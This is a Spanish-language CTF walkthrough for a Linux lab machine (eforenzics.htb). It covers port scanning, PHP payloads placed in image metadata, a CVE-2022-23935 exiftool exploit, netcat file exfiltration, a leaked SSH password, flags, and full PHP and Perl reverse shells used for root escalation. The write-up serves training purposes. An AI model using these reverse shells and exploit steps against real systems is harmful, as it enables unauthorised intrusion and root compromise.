Máquinas/CTF

Máquina resuelta


1. Comprobación del sistema operativo

python whichSystem.py 10.10.11.197

Tiene como salida:

10.10.11.197 (ttl -> 63): Linux

 

2. Descubrimiento de puertos y servicios

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.197

Obtenemos como salida:

Scanned at 2023-03-08 09:36:46 CET for 11s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 11.20 seconds
           Raw packets sent: 66415 (2.922MB) | Rcvd: 65705 (2.628MB)

 

3. Comprobamos servicios y lanzamos scripts principales contra dichos puertos

nmap -sCV -p22,80 10.10.11.197

Obteniendo como salida:

Host is up (0.034s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 2f:1e:63:06:aa:6e:bb:cc:0d:19:d4:15:26:74:c6:d9 (RSA)
|   256 27:45:20:ad:d2:fa:a7:3a:83:73:d9:7c:79:ab:f3:0b (ECDSA)
|_  256 42:45:eb:91:6e:21:02:06:17:b2:74:8b:c5:83:4f:e0 (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://eforenzics.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: Host: eforenzics.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Debemos añadir entonces eforenzics.htb al archivo etc/hosts

 

4. Observamos la página web

Vemos una página web en la que podemos subir una fotografía. Probamos a subir algún fichero del estilo .php pero vemos que solo deja subir archivos con extensiones .png y .jpg.

 

5. Observamos la salida que produce la página

Una vez subida una foto, la aplicación muestra la salida del comando exiftool por pantalla de dicho archivo. Aquí se nos puede ocurrir meter algún comentario o descripción con algún payload dentro de la imagen. Esto lo podemos hacer con el siguiente comando:

exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg

O creando directamente una revershell con el siguiente comando:

exiftool -DocumentName="<?php system('nc 10.10.14.68 1234 -e /bin/bash'); __halt_compiler(); ?>" test.jpg

Pero si abrimos el archivo subido con la aplicación web, vemos la siguiente salida. No siendo capaces de ver el archivo subido directamente, sino una salida de la herramienta ExifTool:

ExifTool Version Number         : 12.37
File Name                       : test.php.jpg
Directory                       : .
File Size                       : 1515 KiB
File Modification Date/Time     : 2023:03:08 09:31:12+00:00
File Access Date/Time           : 2023:03:08 09:31:12+00:00
File Inode Change Date/Time     : 2023:03:08 09:31:12+00:00
File Permissions                : -rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 1024
Image Height                    : 378
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Pixels Per Unit X               : 3937
Pixels Per Unit Y               : 3937
Pixel Units                     : meters
Exif Byte Order                 : Big-endian (Motorola, MM)
Document Name                   : <?php system('nc 10.10.14.68 1234 -e /bin/bash'); __halt_compiler(); ?>
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Y Cb Cr Positioning             : Centered
Image Size                      : 1024x378
Megapixels                      : 0.387

 

6. Comprobar la versión de Exiftool

Se nos ocurre mirar si existe alguna vulnerabilidad para la version de Exiftool utilizada por la pagina, la cual es la 12.37. Encontramos que hay un CVE para dicha version, el CVE-2022-23935

A mayores existe un proyecto en github en el cual ya crea un payload, y lanza un ncat escuchando. Se puede encontrar en el siguiente recurso https://github.com/0xFTW/CVE-2022-23935

Ejecutamos entonces:

python3 CVE-2022-23935.py 10.10.14.68 1234

Y subimos el archivo que se nos generó a la aplicacón web, el cual tiene el siguiente nombre:

'echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjY4LzEyMzQgMD4mMQ== | base64 -d | bash |'

Lo subimos, lo abrimos y comprobamos que se nos crea una revershell con el usuario www-data

 

7. Comprobando archivos del sistema

Luego de comprobar que usuario/usuarios había en el sistema (sólo existía el usuario smorton), checkeamos los archivos del usuario observando que existe un archivo .msg, es decir, un archivo utilizado para la mensajería (normalmente de Outlook), en la ruta /urs/local/investigation:

-rw-rw-r--  1 smorton  smorton  1308160 Oct  1 00:35 'Windows Event Logs for Analysis.msg'
-rw-rw-r--  1 www-data www-data       0 Oct  1 00:40  analysed_log

Por lo que lo enviamos a nuestra maquina para checkearlo, ejecutando para ello:

% nc -w 3 10.10.14.68 1234 < 'Windows Event Logs for Analysis.msg'

# nc -l -p 1234 > out.msg

 

8. Observar el contenido del archivo

Intentamos observar su contenido, utilizando para ello la herramienta teamsgviewer (para archlinux), siendo capaces de ver el siguiente contenido:

Windows Event Logs for Analysis 

    Thomas Jones [thomas.jones@eforenzics.htb]  

    evtx-logs.zip

    Hi Steve,

    Can you look through these logs to see if our analysts have been logging on to the inspection terminal. I'm concerned that they are moving data on to production without following our data transfer procedures. 

    Regards.
    Tom

Es decir, nos indica que hay un archivo .zip en dicho correo

 

9. Extracción del archivo .zip

Mediante la herramienta online encryptomatic (https://www.encryptomatic.com/viewer/) somos capaces de descargar el archivo zip, el cual tiene el nombre: evtx-logs.zip

Si extraemos dicho archivo zip obtenemos un archivo security.evtx. Este es el tipo de archivo utilizado para los EventLog de Windows.

 

10. Visualización del archivo .evtx

Existen varios métodos para visualizar y analizar este tipo de archivos en archlinux. Nosotros en concreto vamos a utilizar la herramienta pyhton-evtx (https://github.com/williballenthin/python-evtx) para convertir el archivo .evtx en .xml, ejecutando para ello el siguiente comando:

python /usr/bin/evtx_dump.py security.evtx > evtx-to-xml.xml

 

11. Obtención de datos relevantes del archivo .evtx

Buscamos por el archivo .xml algún dato o valor extraño. Para realizar esto podemos utilizar códigos normalmente utilizados por Windows como:

En dicho archivo encontramos el siguiente evento, en el podemos observar unas posibles credenciales en el campo TargetUserName.

<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"><System><Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}"></Provider>
<EventID Qualifiers="">4625</EventID>
<Version>0</Version>
<Level>0</Level>
<Task>12544</Task>
<Opcode>0</Opcode>
<Keywords>0x8010000000000000</Keywords>
<TimeCreated SystemTime="2022-08-01 19:15:15.374769"></TimeCreated>
<EventRecordID>11373331</EventRecordID>
<Correlation ActivityID="{6a946884-a5bc-0001-d968-946abca5d801}" RelatedActivityID=""></Correlation>
<Execution ProcessID="628" ThreadID="6800"></Execution>
<Channel>Security</Channel>
<Computer>eForenzics-DI</Computer>
<Security UserID=""></Security>
</System>
<EventData><Data Name="SubjectUserSid">S-1-5-18</Data>
<Data Name="SubjectUserName">EFORENZICS-DI$</Data>
<Data Name="SubjectDomainName">WORKGROUP</Data>
<Data Name="SubjectLogonId">0x00000000000003e7</Data>
<Data Name="TargetUserSid">S-1-0-0</Data>
<Data Name="TargetUserName">Def@ultf0r3nz!csPa$$</Data>
<Data Name="TargetDomainName"></Data>
<Data Name="Status">0xc000006d</Data>
<Data Name="FailureReason">%%2313</Data>
<Data Name="SubStatus">0xc0000064</Data>
<Data Name="LogonType">7</Data>
<Data Name="LogonProcessName">User32 </Data>
<Data Name="AuthenticationPackageName">Negotiate</Data>
<Data Name="WorkstationName">EFORENZICS-DI</Data>
<Data Name="TransmittedServices">-</Data>
<Data Name="LmPackageName">-</Data>
<Data Name="KeyLength">0</Data>
<Data Name="ProcessId">0x0000000000000180</Data>
<Data Name="ProcessName">C:\Windows\System32\svchost.exe</Data>
<Data Name="IpAddress">127.0.0.1</Data>
<Data Name="IpPort">0</Data>
</EventData>
</Event>

Por lo que probamos a conectarnos mediante ssh con el usuario smorton con la credencial encontrada (Def@ultf0r3nz!csPa$$), consiguiendo así acceso al sistema con dicho usuario.

ssh smorton@10.10.11.197

 

12. Flag de usuario

Somos capaces de obtener la flag de usuario -> cc43a54c052064689046a61b4a07d887

 

13. Observamos los SUID binaries

Empezamos la escalada de privilegios observando los SUID binaries que dispone el usuario smorton, utilizando para ello el comando # sudo -l, observando lo siguiente:

Matching Defaults entries for smorton on investigation:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User smorton may run the following commands on investigation:
    (root) NOPASSWD: /usr/bin/binary

Dicho archivo se trata de un binario, el cual si lo ejecutamos obtenemos lo siguiente:

% /usr/bin/binary
    Exiting...

Por lo que se nos puede ocurrir decompilarlo para observar que contiene. Para ello lo pasamos a nuestra máquina host mediante nc:

% nc -w 3 10.10.14.68 1234 < binary

# nc -l -p 1234 > binary

 

14. Decompilación del archivo

Podemos decompilarlo por ejemplo mediante ghydra, o directamente mediante un decompilador online como https://dogbolt.org/

Una vez decompilado podemos observar la siguiente función:

 if (param_1 != 3) {
    puts("Exiting... ");
                    // WARNING: Subroutine does not return
    exit(0);
  }
  _Var1 = getuid();
  if (_Var1 != 0) {
    puts("Exiting... ");
                    // WARNING: Subroutine does not return
    exit(0);
  }
  iVar2 = strcmp(*(char **)(param_2 + 0x10),"lDnxUysaQn");
  if (iVar2 != 0) {
    puts("Exiting... ");
                    // WARNING: Subroutine does not return
    exit(0);
  }
  puts("Running... ");
  __stream = fopen(*(char **)(param_2 + 0x10),"wb");
  uVar3 = curl_easy_init();
  curl_easy_setopt(uVar3,0x2712,*(undefined8 *)(param_2 + 8));
  curl_easy_setopt(uVar3,0x2711,__stream);
  curl_easy_setopt(uVar3,0x2d,1);
  iVar2 = curl_easy_perform(uVar3);
  if (iVar2 == 0) {
    iVar2 = snprintf((char *)0x0,0,"%s",*(undefined8 *)(param_2 + 0x10));
    __s = (char *)malloc((long)iVar2 + 1);
    snprintf(__s,(long)iVar2 + 1,"%s",*(undefined8 *)(param_2 + 0x10));
    iVar2 = snprintf((char *)0x0,0,"perl ./%s",__s);
    __s_00 = (char *)malloc((long)iVar2 + 1);
    snprintf(__s_00,(long)iVar2 + 1,"perl ./%s",__s);
    fclose(__stream);
    curl_easy_cleanup(uVar3);
    setuid(0);
    system(__s_00);
    system("rm -f ./lDnxUysaQn");
    return 0;
  }
  puts("Exiting... ");
                    // WARNING: Subroutine does not return
  exit(0);
}

En dicha función podemos observar como el script espera recibir tres argumentos. El tercer argumento tiene que ser la cadena lDnxUysaQn. Mientras que al segundo parámetro le va a realizar una petición mediante la herramienta curl. Por lo que podemos intentar obtener una petición web en nuestro equipo, mediante los siguientes comandos:

% sudo binary 10.10.14.68:1234 lDnxUysaQn

En nuestra máquina ejecutamos lo siguiente:

# sudo python -m http.server 1234

Observando que recibimos la siguiente petición:

Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...
10.10.11.197 - - [08/Mar/2023 11:56:37] "GET / HTTP/1.1" 200 -

 

15. Intentamos servir una revershell

Esto lo podemos realizar mediante un archivo php, por ejemplo utilizando para ello la revershell de pentestmonkey:

<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.68';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();

    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }

    if ($pid) {
        exit(0);  // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }

    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }

    // Check for end of STDOUT
    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }

    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }

    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
    if (!$daemon) {
        print "$string\n";
    }
}

?>

Si lanzamos un nc en nuestro equipo escuchando, a mayores de un servidor web alojando dicho archivo, y realizamos la petición observamos que el binario tiene como salida el siguiente error:

smorton@investigation:/usr/bin$ sudo binary 10.10.14.68:80/php-reverse-shell.php lDnxUysaQn
    Running... 
    Unterminated <> operator at ./lDnxUysaQn line 1.

Decidimos entonces ejecutar un revershell basada en perl, creando para ello el siguiente archivo llamado perl.pl:

use Socket;
$i="10.10.14.68";
$p=1234;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){
 open(STDIN,">&S");open(STDOUT,">&S");
 open(STDERR,">&S");exec("/bin/bash -i");
};

Lanzamos de nuevo un servidor web (en nuestro basado en python), en nuestra máquina host, para que la maquina objetivo pueda obtener el archivo .pl

# sudo python -m http.server 80 --directory .

A mayores en nuestra máquina host, también lanzamos un nc escuchando:

# nc -l -p 1234

Por último realizamos la siguiente peticion desde la máquina objetivo:

% sudo /usr/bin/binary 10.10.14.68/perl.pl lDnxUysaQn

Vemos entonces que se nos crea una revershell con el usuario root.

 

16. Obtención flag usuario root

Somos entonces capaces de obtener el flag del usuario root -> ddafdb970a1d54bcaad4478c5e300056